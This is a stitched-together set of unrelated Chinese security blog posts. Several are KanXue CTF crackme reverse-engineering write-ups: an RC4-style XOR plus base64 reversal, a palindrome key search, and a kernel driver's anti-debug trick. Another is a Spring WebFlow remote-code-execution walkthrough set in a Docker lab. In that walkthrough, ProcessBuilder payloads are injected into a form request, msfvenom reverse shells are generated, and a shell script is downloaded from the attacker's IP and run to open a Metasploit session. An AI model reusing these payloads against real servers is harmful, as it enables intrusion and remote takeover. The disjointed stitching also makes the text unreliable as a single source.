.text:0001A13A 428 EA F7 A0 FA                                   BL              sub_467E;第一次加密变换
.text:0001A13E 428 28 46                                         MOV             R0, R5

然后sub_467E进行第一次加密变换,将key和前面的8字节+0×100*4的数组组队的xor,细节直接看代码(完整的我会放idb):

v4 = p->unk_0;
  v5 = p->unk_4;
  if ( key_len >> 3 )                           // 8 >> 3 = 1
  {
    v6 = -(key_len >> 3);                       // -2
    v7 = pKeyResult + 8 * (key_len >> 3);       // 2*8
    key1 = key;
    do
    {
      ++v6;
      v9 = (unsigned __int8)(v4 + 1);           // 1
      v10 = p->index[v9];                       // p->Index[1]
      v11 = v5 + v10;                           // 0+p->Index[1]
      v12 = p->index[v11];
      p->index[v9] = v12;
      p->index[v11] = v10;
      *(_BYTE *)pKeyResult = p->index[(unsigned __int8)(v10 + v12)] ^ *(_BYTE *)key1;
      v13 = (unsigned __int8)(v4 + 2);          // 2
      v14 = p->index[v13];                      // p->Index[2]
    ...

这里我没有暂时没有渗入理解,直接进入第二次加密运算。

.text:0001A222 428 01 44                                         ADD             R1, R0 ;长度
.text:0001A224 428 28 46                                         MOV             R0, R5 ;第一次加密结果
.text:0001A226 428 EB F7 69 FC                                   BL              sub_5AFC ;第二次加密
.text:0001A22A 428 3B 49                                         LDR             R1, =(__stack_chk_guard_ptr - 0x1A300)

进入sub_5AFC,将key每3个字节一组,进行<<8拼接,也就是a1<<16+a2<<8+a3,举个例子0xaa,0xbb,0xcc=>0xaabbcc

然后拼接结果v15再左移, 如果是3个字符拼接的,这里v16是3,v19=v15 << 8 * (3 - v16)也就左移0,也就是不左移; 如果是两个字符或者一个字符拼接的,这里就需要左移8或者16位,说白了就是需要构成0×112233的结构。

然后v19进行4次移位,取aAbcdefghijklmn字符放入结果内存中。其实就是v19按6位进行分割(分别右移0×12,0xc,0×6,0×0,&03f),分割的值作为index,去aAbcdefghijklmn中对应字符,保存。 如果v16<3,也就是此次拼接没有3个字符,这里index=0x40,也就是增加额外的”=”用于结果。

if ( _R10 > 0 )                               // len>0
  {
    i = 0;
    p1 = p;
    do
    {
      if ( i >= _R10 )
      {
        v16 = 0;
        v15 = 0;
      }
      else
      {
        ii = 0;
        v15 = 0;
        do
        {
          v15 = *(_BYTE *)(key + i + ii) | (v15 << 8);// 
                                                // v15 = key[i] | 0<<8
                                                // v15 = key[i+1] | v15<<8
						// v15 = key[i+1] | v15<<8
          v16 = ii + 1;
          if ( ii + 1 > 2 )                     // 0, 1
            break;
          v17 = i + ii++;
        }
        while ( v17 + 1 < _R10 );
        i += v16;                               // v16 = 1, 2, 3
                                                // i += v16, 下次计算使用的i
      }
      j = 0;
      v19 = v15 << 8 * (3 - v16);
      v20 = 0x12;
      do
      {
        if ( v16 < j )
          index = 0x40;
        else
          index = (v19 >> v20) & 0x3F;
        v20 -= 6;
        *((_BYTE *)p1 + j++) = aAbcdefghijklmn[index];
      }
      while ( j != 4 );                         // 每4字节
      p1 = (char *)p1 + 4;
    }
    while ( i < _R10 );
  }

逆向算法

算法大致明白了,结果又是JPyjup3eCyJjlkV6DmSmGHQ=(取了0×18字节)。那么将第二次加密进行求逆。 先找JPyjup3eCyJjlkV6DmSmGHQ=每字节在’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’中的index。

k = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
r = 'JPyjup3eCyJjlkV6DmSmGHQ=' #//!!'
idd = []
def get_index_in_k(c):
    for i in range(0, len(k)):
        c1 = k[i:i+1]
        if c1 == c:
            return i
    return -1
            
def cc():
    j = 0
    for i in range(0, len(r)):
        c1 = r[i: i+1]
        index = get_index_in_k(c1)
        idd.append(index) #保存序号
        print '%d: %c %d %x' % (i+1, c1, index, index )

结果是:

1: J 9 9
2: P 15 f
3: y 50 32
4: j 35 23
5: u 46 2e
6: p 41 29
7: 3 55 37
8: e 30 1e
9: C 2 2
10: y 50 32
11: J 9 9
12: j 35 23
13: l 37 25
14: k 36 24
15: V 21 15
16: 6 58 3a
17: D 3 3
18: m 38 26
19: S 18 12
20: m 38 26
21: G 6 6
22: H 7 7
23: Q 16 10
24: = 64 40

然后每4个index一组,来自于v19的4次右移,那么反过来4个一组,左移相加就是v19

for i in range(0, len(idd), 4):
        a1 = idd[i] << 0x12
        a2 = idd[i+1] << 0xc
        a3 = idd[i+2] << 0x6
        a4 = 0
        if idd[i+3] == 0x40:
            a4 = 0
        else:
            a4 = idd[i+3] << 0
        a = a1+ a2+a3+a4
        rrr.append(a)
        print '%d: %x' % (i, a)

得到结果:

0: 24fca3
4: ba9dde
8: b2263
12: 96457a
16: e64a6
20: 1874

然后我们又知道v19其实是v15拼接的,所以拆开就得到v15(第一次加密结果),可以看到key长度应该是17。

24 fc a3 ba 9d de 0b 22 63 96 45 7a 0e 64 a6 18 74

然后接着求第一次加密的逆运算,看代码,好多啊,怎么办,难道要求逆,好难! 好吧,不装了,其实不难,我们看前面说的第一次加密其实就是分组xor! xor好啊,xor好啊…我们知道xor两次会将结果还原,想到了什么?! 是的,既然我们拿到第一次加密结果,那让他再和哪个8字节+0×100*4的数组再xor一次不久可以了,但是要重写这个加密代码貌似也挺麻烦的,怎么办?!

这里我是这么做的,在调试中,第一次加密前,将key的值(本来是输入)修改为上面得到的第一次加密结果,然后开始第一次加密运算,这样不就完美的完成了一次求逆吗,哈哈!

具体操作,对1A13A下断,输入key(必须是17位,否则修改内存时可能会挂),确认,断下来,此时r2就是key

5E127B20  31 32 33 34 35 36 37 38  39 30 31 32 33 34 35 36  1234567890123456
5E127B30  37 00 6D 5F 1B 00 00 00  00 00 00 00 00 00 00 00  7.m_............

然后在hex窗口,f2修改内存,输入上面的24 fc…,然后f2确认修改。

5E127B20  24 FC A3 BA 9D DE 0B 22  63 96 45 7A 0E 64 A6 18  $.
5E127B30  74 A9 12 5E 0F 00 1F 00  FF FF 1F 00 0F 00 00 t..^..

然后f8。看看结果:

5E127B38  6D 61 64 65 62 79 65 72  69 63 6B 79 39 34 35 32  madebyericky9452
5E127B48  38 00 73 00 11 10 00 00  62 00 69 00 6C 00 69 00  8.s.....b.i.l.i.

答案就是:madebyericky94528

博客原文:http://anhkgg.github.io/kxctf2017-writeup6/

参考:

  1. 安卓APP动态调试技术–以IDA为例
  2. http://luleimi.blog.163.com/blog/static/175219645201210922139272/
  3. http://blog.csdn.net/zhangmiaoping23/article/details/43445797
  4. http://www.cnblogs.com/liujiahi/archive/2011/03/22/2196401.html
  5. http://cncc.bingj.com/cache.aspx?q=arm++IT+EQ&d=4981012666125942&mkt=zh-CN&setlang=zh-CN&w=YEX3ioizXLDZGmlpVDBGFh_dhhHpfnYj

说明:做安全的,思路不猥琐是日不下站的,必须变的猥琐起来,各种思路就会在你脑海中迸发。

1.不温不火的漏洞

这个漏洞在六月份的时候就被提交了,但是官方也没有消息,所以圈子里没有人关注也就属于正常现象了。漏洞分析也在三天前发了出来,但是同样不温不火。我也是今天才知道。所以在没有事情的时候测试了一波,配合各种猥琐思路,成功拿到一个反弹的会话。

2.漏洞发现及产生原因

Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞。但是复现的环境比较苛刻。除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

删删写写,真的不知道要怎么描述,附上这个漏洞分析的链接:分析链接

看完文章反正我是觉得作者好牛的,直接从人家官方发布的补丁中分析出漏洞。我等小菜只负责学习审计思路,复现就好。

3.环境的搭建

docker环境下载地址:点击这里

别问我为什么不自己配环境。。讲一句心里话,我真的感觉做J2EE开发的程序员真心牛,他们配个环境分分钟的事情,还不会报错。今天本来打算自己配置这个spring环境的,结果,配置哭了,一天都没搞好。。还是python好,环境那么好配置。需要什么下什么,重点是一般都不会报什么错误。

没说JAVA不牛,大型项目还得他。zap还是用java写的囊,多牛。单纯环境难配置而已啦,果断选择别人做好的Docker

克隆完成后,执行两条命令

docker-compose build docker-compose up -d

完成之后访问http://ip:30082端口就一切ok了

1497373501197413.png

按理来说访问到这个页面就可以执行漏洞操作了,但是为了方便后续的操作,可以进入docker环境的终端

docker ps –查看当前运行的docker进程

docker exec -it [id号] /bin/bash

1497373521359857.png

之后登陆操作吧

访问:http://ip:30082/hotels/3

ps: 标记的订单号要写16位

1497373534532385.png

之后设置好代理,进行抓包。

点击Confirm,在抓到的包之后添加

 &_(new+java.lang.ProcessBuilder("touch","/tmp/success")).start()=iswin

Go

1497373572426540.png

返回Error不管,直接来到docker下的tmp目录看结果

4.png

成功生成一个success文件.

4.猥琐思路开始闪现

思路–1

默认是 没有python的,方便我的猥琐思路当然要装一个~

apt-get install python

文件创建成功了,还能命令执行,那还说啥子嘛~?直接上python反弹payload去执行

用msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o shell.py

获取反弹需要执行的代码

cat shell.py

1497373599190941.png

但是这个时候注意到一个东西"",双引号这个东西,如果放到包中去会被闭合,那样的代码肯定没办法执行啊。不得行,不得不换下一个思路。

正在想怎么办,测试了一个别的命令,之后发现,命令之间不能加空格。。。如下

1497373609171534.png

并没有执行成功。

思路–2

Spring框架,那肯定跟jsp挂钩,直接wget一个jsp马,因为wget命令默认是当前文件夹下,因为上面的得出的结论,并不能添加空格,指定路径,(就算能指定路径,也不知道绝对路径在哪里啊- -!),但是总得尝试的,测一下试试吧。

同样使用msfvenom

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.12.106 lport=4444 -o shell.jsp

把马移动到/var/www/html目录下,保证可以远程下载

mv shell.jsp /var/www/html/shell.jsp
service apache2 start

抓包,改包

&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.jsp")).start()=iswin

1497373659341858.png

不知道上传到了哪里,执行以下find命令,发现并不在网站根目录下。而是在tomcat目录下

怎么办?mv过去?首先,你不知道网站绝对路径,其次命令中不能加空格啊。好气啊,眼看到手的shell又飞了。不得不继续想办法。

猥琐思路–最终大招

方法肯定不止这一种,没有上面的两种思路,也不会有最后这种骚套路。你想到没?

实现方法:wget+python反弹shell

相信有经验童鞋已经有思路了。肯定很多人还蒙着囊,不是python 双引号被闭合了吗,还要怎么执行???

还不能有空格,怎么玩???别急嘛。

wget可以执行,并且默认都是在一个目录下的,没错python是不能执行,但是shell脚本可以执行啊。

把刚刚生成的python脚本写到一个shell脚本里,下载下来直接执行,一切不就ok了,每空格吧~,双引号?跟我有关系么,哈哈~思路有了,测试.

msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o /var/www/html/shell.sh

打开Metasploit设置监听

use exploit/multi/handler
set payload cmd/unix/reverse_python
set lhost 192.168.12.106
set lport 4444
exploit

9.png

提交吧

&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.sh")).start()=iswin

1497373845429469.png

执行shell脚本

&_(new+java.lang.ProcessBuilder("/bin/bash","shell.sh")).start()=iswin

1497373860116230.png

成功返回会话

1497373868123239.png

docker没有ifconfig命令的=

如果想获取Meterpreter回话,你觉得还会远么?自己YY

5.总结一下

之前还想写个检测脚本研究一下了,但是写着写着好像突然感觉到,这个漏洞没有像struts那个漏洞一样掀起浪潮是有原因的。他并不能像strtus这个漏洞那样直接可以测试的出,只有白盒才能测出问题所在,知道哪里使用了addEmptyValueMapping这个函数。并不能直接黑盒测试,或许也可以,将所有提交的数据包都加入payload检测,那相当于扫描全站了。或许在拿到授权的测试下,还是可以试一下的,但是我们这种复现漏洞的,还是别拿人家网站乱扫了。。

题目入口: http://ctf.pediy.com/game-fight-32.htm可下载相关文件

0. 定位算法位置

由于是console程序并且没有隐藏字符串通过OD/IDA找到关键字符串所在函数就是关键算法函数

.data:00409058 aWellDone       db 'WELL DONE!',0Ah,0   ; DATA XREF: _main:loc_401257o
.data:00409064 aWrongKey___    db 'WRONG KEY...',0Ah,0 ; DATA XREF: _main+231o
.data:00409072                 align 4
.data:00409074 aKeyFormatError db 'key format error...',0Ah,0 ; DATA XREF: _main+9Ao

其实就在main函数中然后看获取输入之后干了什么。 首先检查输入长度是不是在8到20之间不是提示key len error

.text:00401066                 cmp     ecx, 8
.text:00401069                 jl      loc_40127A
.text:0040106F                 cmp     ecx, 14h
.text:00401072                 jg      loc_40127A
.text:00401078                 xor     esi, esi
.text:0040107A                 xor     edx, edx
.text:0040107C                 test    ecx, ecx

是不是都是数值不是就提示key format error…

.text:00401082                 jle     short loc_4010AC
.text:00401084
.text:00401084 loc_401084:                             ; CODE XREF: _main+94j
.text:00401084                 mov     al, [esp+edx+4138h+key]
.text:00401088                 cmp     al, 30h
.text:0040108A                 jle     short loc_401090
.text:0040108C                 cmp     al, 39h
.text:0040108E                 jle     short loc_401091
.text:00401090
.text:00401090 loc_401090:                             ; CODE XREF: _main+8Aj
.text:00401090                 inc     esi
.text:00401091
.text:00401091 loc_401091:                             ; CODE XREF: _main+8Ej
.text:00401091                 inc     edx
.text:00401092                 cmp     edx, ecx
.text:00401094                 jl      short loc_401084
.text:00401096                 test    esi, esi
.text:00401098                 jz      short loc_4010AC
.text:0040109A                 push    offset aKeyFormatError ; "key format error...\n"
.text:0040109F                 call    f_printf_401BE0

下面接着就是算法的重要部分了一看到下面的函数就知道有点小类结构了

.text:004012C0 ; KEY_OBJ1 *__thiscall f_keyobj_init_4012C0(KEY_OBJ1 *this)
.text:004012C0 f_keyobj_init_4012C0 proc near          ; CODE XREF: _main+B3 p
.text:004012C0                                         ; f_keyobj_calc_mul_401730+29p ...
.text:004012C0                 push    esi
.text:004012C1                 mov     esi, ecx
.text:004012C3                 mov     dword ptr [esi], offset off_4080C8
.text:004012C9                 call    ds:GetTickCount
.text:004012CF                 mov     ecx, esi
.text:004012D1                 mov     [esi+200Ch], eax
.text:004012D7                 mov     [esi+2008h], eax
.text:004012DD                 call    f_keyobj_init_seed1_401A60
.text:004012E2                 mov     eax, esi
.text:004012E4                 pop     esi
.text:004012E5                 retn
.text:004012E5 f_keyobj_init_4012C0 endp

1. 算法类结构分析各类函数的功能分析

先把类结构大致整理出来方便后续分析

00000000 KEY_OBJ1        struc ; (sizeof=0x2010) ; XREF: _mainr
00000000                                         ; f_keyobj_calc_mul_401730r
00000000 vtable_4080C8   dd ?
00000004 cur_calc_pos    dd ? //结果长度
00000008 seed_array_1024_1 dd 1024 dup(?) //保存key的值
00001008 seed_array_1024 dd 1024 dup(?) //保存序号
00002008 TickCnt_key_seed dd ?
0000200C TickCnt1        dd ?
00002010 KEY_OBJ1        ends

然后就是几个关键函数

1.1 初始化数据

.text:00401A60 ; char *__thiscall f_keyobj_init_seed1_401A60(KEY_OBJ1 *this)
...
.text:00401A8F                 call    f_kyeobj_getindex_4019E0 //更加GetTickCount获取随机index用于打乱序号的顺序增加分析难度
...
.text:00401ABA                 mov     esi, [ecx]
.text:00401ABC                 sub     ecx, 4
.text:00401ABF                 mov     [eax], esi
.text:00401AC1                 add     eax, 4
.text:00401AC4                 dec     edx

这个地方首先就想到了每次GetTickCount不一样那么算法怎么保证结果相同呢便想到肯定跟index顺序无关后面验证果然是我就把401A60给patch了一下然初始化的序号结构没有打乱顺序保持0-0x3ff如下

//nop了00401A8F调用的循环部分                 
.text:00401A8F                 call    f_kyeobj_getindex_4019E0 
//这里其实就是seed_array_1024[1023]不让它倒过来赋值修改为lea     ecx, [esi+1008h]
.text:00401AAE                 lea     ecx, [esi+2004h]

这样之后就可以很方便查看数据变换观察这两个字段即可

00000004 cur_calc_pos    dd ? //结果长度
00000008 seed_array_1024_1 dd 1024 dup(?) //保存key的值

后面所有相关函数中有关index转换的也不用关注因为他变来变去都是0-0x3ff就只需要关注具体数据操作了。 然后其他函数功能分析也就简单了。 下面简单列一下不做详细说明了很简单就是数组操作过来过去的

.text:004014E0 ; int __thiscall f_keyojb_key1_4014E0(void *this, const char *key) //将输入的key保存到seed_array_1024_1 中字符转为数值每个值存一个dword
.text:00401970 ; void __thiscall f_keyobj_key1_s2_401970(KEY_OBJ1 *this) //数值大于10取余存当前index位置取商和index+1位置求和保存其实就是进位处理后面才醒悟
.text:00401730 ; signed int __userpurge [email protected]<eax>(int [email protected]<eax>, int [email protected]<ecx>, signed int a3)//用a3取商做右位移a3取余做加法其实就是做乘法运算
text:00401840 ; signed int __userpurge [email protected]<eax>(int [email protected]<eax>, int [email protected]<ecx>, KEY_OBJ1 *a3)//两个KEY_OBJ做乘法

2. 醒悟算法究竟是个什么玩意

输入的key关键处理部分

.text:004010E0                 push    9
.text:004010E2                 lea     ecx, [esp+413Ch+keyobj]
.text:004010E9                 call    f_keyobj_calc_mul_401730 ;
...
.text:0040110B                 lea     eax, [esp+4138h+keyobj1]
.text:00401112                 lea     ecx, [esp+4138h+keyobj]
.text:00401119                 push    eax
.text:0040111A                 mov     byte ptr [esp+413Ch+var_4], 1
.text:00401122                 call    f_keyobj_mul2_401840
...
.text:00401127                 push    9
.text:00401129                 lea     ecx, [esp+413Ch+keyobj]
.text:00401130                 mov     esi, eax
.text:00401132                 call    f_keyobj_calc_mul_401730 ;

先前想着输入的key用9做位移做加法干么呢…一直绕不清后来重新看f_keyobj_key1_s2_401970觉得是进位处理一下子就灵光了这是实现乘法运算1024位的乘法真实折腾nb。 这样算法也基本清楚了。 key9key9(…) => result

怎么校验的呢

  1. 计算结果长度必须是奇数
.text:00401154                 call    f_keyobj_curpos_4013A0
.text:00401159                 and     eax, 80000001h
.text:0040115E                 jns     short loc_401165
.text:00401160                 dec     eax
.text:00401161                 or      eax, 0FFFFFFFEh
.text:00401164                 inc     eax
.text:00401165
.text:00401165 loc_401165:                             ; CODE XREF: _main+15Ej
.text:00401165                 cmp     eax, 1
  1. result[len/2] == key[0]
.text:00401175                 call    f_keyobj_curpos_4013A0
.text:0040117A                 sar     eax, 1
.text:0040117C                 push    eax
.text:0040117D                 lea     ecx, [esp+413Ch+keyobj]
.text:00401184                 call    f_keyobj_check1_4013B0
.text:00401189                 push    0
.text:0040118B                 lea     ecx, [esp+413Ch+keyobj1]
.text:00401192                 mov     edi, eax
.text:00401194                 call    f_keyobj_check1_4013B0
.text:00401199                 cmp     edi, eax
.text:0040119B                 lea     ecx, [esp+4138h+keyobj1]
.text:004011A2                 jnz     short loc_40121C
  1. 高位部分和key相同跳过比较那个字节
.text:004011D0                 lea     ecx, [esp+4144h+keyobj1]
.text:004011D7                 push    esi
.text:004011D8                 push    ecx
.text:004011D9                 lea     ecx, [esp+414Ch+keyobj]
.text:004011E0                 call    f_keyobj_check2_4013E0
  1. 低位部分和key逆序跳过比较那个字节
text:004011F6                 lea     edx, [esp+413Ch+keyobj1]
.text:004011FD                 push    eax
.text:004011FE                 push    1
.text:00401200                 push    0
.text:00401202                 push    edx
.text:00401203                 lea     ecx, [esp+414Ch+keyobj]
.text:0040120A                 call    f_keyobj_check2_4013E0

感觉结果应该是这一个样子的

1234567->1234567654321 //中间因为长度折腾了好久后面查了才知道这是回文数翻半天没有什么算法脚本已经跑起来了

怎么求逆呢算法不好那就脚本跑吧

3. 脚本跑

i = 11111111#
while True:
    break
    is1 = str(i)
    is2_len = len(is1) 
    
    is1 = is1[:is2_len-1]
    is2 = is1[::-1]
    
    k = i*9*9*i
        
    ks1 = ''
    ks = ''
    while True:
       
        #print i, k
        #break
        ks1 = str(k)
        
        lll = len(ks1)/2
        
        if len(ks1) > 2*is2_len:
            #print 'long out - 1', i, len(ks1), 2*is2_len
            break
        
        if (is2_len + len(ks1))>1024:
            #print 'long out - 1', i, is2_len + len(ks1)
            break
        
        if (len(ks1)%2!=0) and (is1[0:1] == ks1[lll:lll+1]):
            print  'get -success1 > ', i, is1, k
            break

        if len(ks1)>1024:
            #print 'long out', i
            break 
        
        k = k * i*9

    ls2_len1 = is2_len-1
    ks = ks1[:ls2_len1]
    
    if ((is1 == ks) and (is2 == ks1[(-1*ls2_len1):])):
        print  'get -success > ', i, is1, k
        print ''
    
    i += 1
    
    if i % 10000000 == 0:
        print '...', i
    
    if i > 99999999999999999999:
        break

4. 总结

结果最后跑出来是

get -success >  12345679 1234567 12345678987654321

因为代码中处理字符存为数值是倒着的所以key应该是97654321

博客原文http://anhkgg.github.io/kxctf2017_writeup2/

题目入口http://ctf.pediy.com/game-fight-35.htm可下载相关文件

00. 先看驱动

驱动不大才20多个函数。

从入口开始分析。

1. 创建设备

.text:000107D5 68 58 13 01 00                                                  push    offset aDeviceVmxdrv ; "\\device\\vmxdrv"
.text:000107DA 8D 45 F4                                                        lea     eax, [ebp+DestinationString]
.text:000107DD 33 FF                                                           xor     edi, edi
.text:000107DF 50                                                              push    eax             ; DestinationString
.text:000107E0 89 7D FC                                                        mov     [ebp+DeviceObject], edi
.text:000107E3 FF D6                                                           call    esi ; RtlInitUnicodeString

用来与应用层通信

2. IRP_MJ_FUNCTION

主要有三个read/write/ioctl。

.text:00010870 C7 46 44 A8 05 01 00                                            mov     dword ptr [esi+44h], offset f_DrvRead_105A8
.text:00010877 C7 46 48 1C 06 01 00                                            mov     dword ptr [esi+48h], offset f_DrvWrite_1061C
.text:0001087E C7 46 70 1A 07 01 00                                            mov     dword ptr [esi+70h], offset f_DrvControl_1071A

先看f_DrvWrite_1061C通过irp获取到上层传入的数据然后通过104b6获取某个输出存入全局变量g_READCC根据read的分析可以知道长度为4的4字节数组。

.text:00010669 57                                                              push    edi             ; size_t
.text:0001066A FF 75 0C                                                        push    [ebp+Irp]       ; void *
.text:0001066D 53                                                              push    ebx             ; void *
.text:0001066E E8 11 0C 00 00                                                  call    memcpy
.text:00010673 83 C4 18                                                        add     esp, 18h
.text:00010676 83 3D D8 14 01 00 00                                            cmp     dword ptr is_clean_port, 0
.text:0001067D 74 15                                                           jz      short loc_10694
.text:0001067F 68 C8 14 01 00                                                  push    offset g_READCC ; int
.text:00010684 53                                                              push    ebx             ; void *
.text:00010685 E8 2C FE FF FF                                                  call    f_GetMd5_104B6
.text:0001068A C7 05 DC 14 01 00 01 00 00 00                                   mov     is_write, 1

进入104b6内部key是个16字节数组初始化0。然后将上面传下的数据拷贝到key中长度需要小于16。然后将key进行一下变换。 key[0] ++(反调试标志为1后面再说)其他key[i] += i

.text:000104F5 56                                                              push    esi             ; size_t //长度
.text:000104F6 51                                                              push    ecx             ; void * //上层输入
.text:000104F7 8D 45 EC                                                        lea     eax, [ebp+key]
.text:000104FA 50                                                              push    eax             ; void *
.text:000104FB E8 84 0D 00 00                                                  call    memcpy
...
text:00010505 39 05 D8 14 01 00                                               cmp     dword ptr is_clean_port, eax //判断标志是否为0不为0key[0] ++
.text:0001050B 74 03                                                           jz      short loc_10510
.text:0001050D FE 45 EC                                                        inc     [ebp+key]
.text:00010510
.text:00010510                                                 loc_10510:                              ; CODE XREF: f_GetMd5_104B6+55j
.text:00010510 3B F0                                                           cmp     esi, eax
.text:00010512 7E 09                                                           jle     short loc_1051D
.text:00010514
.text:00010514                                                 loc_10514:                              ; CODE XREF: f_GetMd5_104B6+65j
.text:00010514 00 44 05 EC                                                     add     [ebp+eax+key], al //key[i] += i
.text:00010518 40                                                              inc     eax
.text:00010519 3B C6                                                           cmp     eax, esi
.text:0001051B 7C F7                                                           jl      short loc_10514

接着通过下面三个函数对key进行计算输出结果

f_Md5_Init_108B2((MD5OBJ *)&v5);
f_Md5_j_11124((MD5OBJ *)&v5, key, strlen(key));
f_Md5_hexdigest((int)&v5, md5);

进入108b2一看就猜测是md5计算f_Md5_hexdigest将计算结果(32字节字符)保存到md 5字段中输出设置计算标志。也就是大致确认write是计算md5然后保存到g_READCC

MD5OBJ *__stdcall f_Md5_Init_108B2(MD5OBJ *a1)
{
  MD5OBJ *result; // [email protected]1

  result = a1;
  a1->len8 = 0;
  a1->unk_4 = 0;
  a1->s1 = 0x67452301;
  a1->s2 = 0xEFCDAB89;
  a1->s3 = 0x98BADCFE;
  a1->s4 = 0x10325476;
  return result;
}

接着看f_DrvRead_105A8看刚才的计算标志是否为0为0就初始化g_READCC一段值不知道作者意图迷惑cracker如果计算标志是1就直接返回计算的结果然后该值返回到用户空间。也就是如果通过write计算了md5这里就是获取md5计算结果。

.text:000105AD 
 if ( !is_write )
  {
    i = 3;
    do
    {
      g_READCC[i] = 3 * i - 'd';
      ++i;
    }
    while ( i < 16 );
    g_READCC[0] = 0xCBu;
    g_READCC[1] = 0xAAu;
    g_READCC[2] = 0xDEu;
    g_READCC[3] = 0xB0u;
  }
  //返回数据
   *(_DWORD *)&MasterIrp->Type = *(_DWORD *)g_READCC;
  v4 = (int)&MasterIrp->MdlAddress;
  *(_DWORD *)v4 = *(_DWORD *)&g_READCC[4];
  v4 += 4;
  *(_DWORD *)v4 = *(_DWORD *)&g_READCC[8];
  *(_DWORD *)(v4 + 4) = *(_DWORD *)&g_READCC[12];

最后看f_DrvControl_1071A支持多个命令号但只有222004h有用。设置反调试标志为1然后进入10486看看

.text:00010734 2D 04 20 22 00                                                  sub     eax, 222004h
.text:00010739 8B 4E 0C                                                        mov     ecx, [esi+0Ch]
.text:0001073C 74 2C                                                           jz      short loc_1076A
...
.text:0001076A                                                 loc_1076A:                              ; CODE XREF: f_DrvControl_1071A+22j
.text:0001076A C7 05 D8 14 01 00 01 00 00 00                                   mov     dword ptr is_clean_port, 1
.text:00010774 FF 15 80 13 01 00                                               call    ds:IoGetCurrentProcess
.text:0001077A A3 E0 14 01 00                                                  mov     eproc, eax
.text:0001077F E8 02 FD FF FF                                                  call    f_ClearDebugPort_10486

枚举进程找到当前进程的eprocess(其实没必要枚举把)置eprocess->DebugPort = NULL让应用层调试器失效达到反跳试效果。

result = IoGetCurrentProcess();
  v1 = result;
  while ( result != (PEPROCESS)eproc )
  {
    result = (PEPROCESS)(*((_DWORD *)result + 0x22) - 0x88);// eproc->ActiveProcessLinks.Flink
    if ( result == v1 )
      return result;
  }
  *((_DWORD *)result + 0x2F) = 0;               // eproc->DebugPort = 0

这里猜想一下如果破解者通过应用层patch不发送222004h命令来解除反跳试的话那么这里的反跳试标志就是0然后在write中计算md5时对key[0]就不会做++操作那么上层就会获取到一个错误的值从而影响破解。

3. k掉驱动反调试

首先想到的是将驱动文件patch也就是DebugPort置零的指令nop掉

.text:000104A9 83 A0 BC 00 00 00 00                                            and     dword ptr [eax+0BCh], 0

通过reshacker将驱动资源导出来然后hex编辑工具修改104A9的内容(文件内存对齐一样)为7个NOP然后再将patch驱动文件导入到exe中。

会提示驱动加载失败可能有校验不再细跟。

没办法为了让od能够调试我写了个简单驱动在本驱动加载时将104A进行patch通过反跳试。

01. 再看CrackMe

既然知道有驱动了先找找释放和加载驱动的代码通过 FindResourceA和CreateService即可定位不再详述注意到的是驱动加载成功会设置一个标志用于后面验证的判断

v5 = f_CreaetSrv_401AA0(ServiceName, &Buffer);// vmxdrv
  v1->is_drv_run = v5;

然后再找和驱动通信的代码通过DeviceIoControl找到调用222004命令好的代码。通过创建一个线程循环调用该接口来清零DebugPort

while ( 1 )
  {
    v0 = CreateFileA(FileName, 0xC0000000, 0, 0, 3u, 0x80u, 0);
    if ( v0 == (HANDLE)-1 )
      break;
    DeviceIoControl(v0, 0x222004u, 0, 0, &OutBuffer, 0x100u, &BytesReturned, 0);
    CloseHandle(v0);
    Sleep(0xBB8u);
  }

按理说这里可以patch掉来去掉反跳试但就会出现我前面分析提到的问题。

通过WriteFile找到调用read/write的位置也就是计算md5和获取md5的位置。

.text:00401D50 ; HANDLE __thiscall f_CalcKeyMd5_401D50(void *this, char *key, size_t len)
...
.text:00401E4E                 push    ebx             ; lpOverlapped
.text:00401E4F                 push    eax             ; lpNumberOfBytesWritten
.text:00401E50                 lea     ecx, [esp+344h+Buffer] //用户输入的key相关数据
.text:00401E54                 push    esi             ; nNumberOfBytesToWrite
.text:00401E55                 push    ecx             ; lpBuffer
.text:00401E56                 push    edi             ; hFile
.text:00401E57                 call    ds:WriteFile //计算md5
.text:00401E5D                 test    eax, eax
.text:00401E5F                 jz      short loc_401ED4
.text:00401E61                 lea     edx, [esp+33Ch+NumberOfBytesRead]
.text:00401E65                 push    ebx             ; lpOverlapped
.text:00401E66                 push    edx             ; lpNumberOfBytesRead
.text:00401E67                 lea     eax, [esp+344h+keymd5]
.text:00401E6E                 push    10h             ; nNumberOfBytesToRead
.text:00401E70                 push    eax             ; lpBuffer
.text:00401E71                 push    edi             ; hFile
.text:00401E72                 call    ds:ReadFile //读取md5

f_CalcKeyMd5_401D50回溯一层就是输入key回车的响应函数。 这里先通过UpdateData(1)获取输入数据然后拷贝到局部变量

f_UpdateData_41A4F7(1);
  f_CString_copy_417D43((CString *)&key, (LPCSTR *)&v1->key);//用户输入的

然后输入进行小写和反转变换

f_CString_lwr_4182FA((CString *)&key); //小写
 f_Cstring_rev_41830C((CString *)&key);        // 反转

判断输入长度是否为6不是退出清除输入并通过IsDebuggerPresent检查是否在调试OD直接过是调试也退出清理出输入。

if ( *(_DWORD *)(key - 8) != 6 || IsDebuggerPresent() )
 {
   CString::operator=((CString *)&v1->unk_6c, byte_431398);
   CString::operator=((CString *)&v1->key, byte_431398);
   f_UpdateData_41A4F7(0);
 }

满足长度要求再看驱动是否加载再调用f_CalcKeyMd5_401D50计算md5. 也就是调用驱动获取md5记为KeyMd51.

//.text:004017DE
 if ( v1->is_drv_run )
    {
      keymd5str = *(_DWORD *)(key - 8);
      v3 = sub_418263(&key, 0);
      f_CalcKeyMd5_401D50(v1, (char *)v3, keymd5str);
    }

接着下面两个函数先调用f_GetStrMd5_401920应用层的Md5通过调试可以很快确认内部也有md5特征计算KeyMd51的Md5记为KeyMd52然后调用sub_415A78截取KeyMd52从第3为开始的10字符记为KeyMd53。

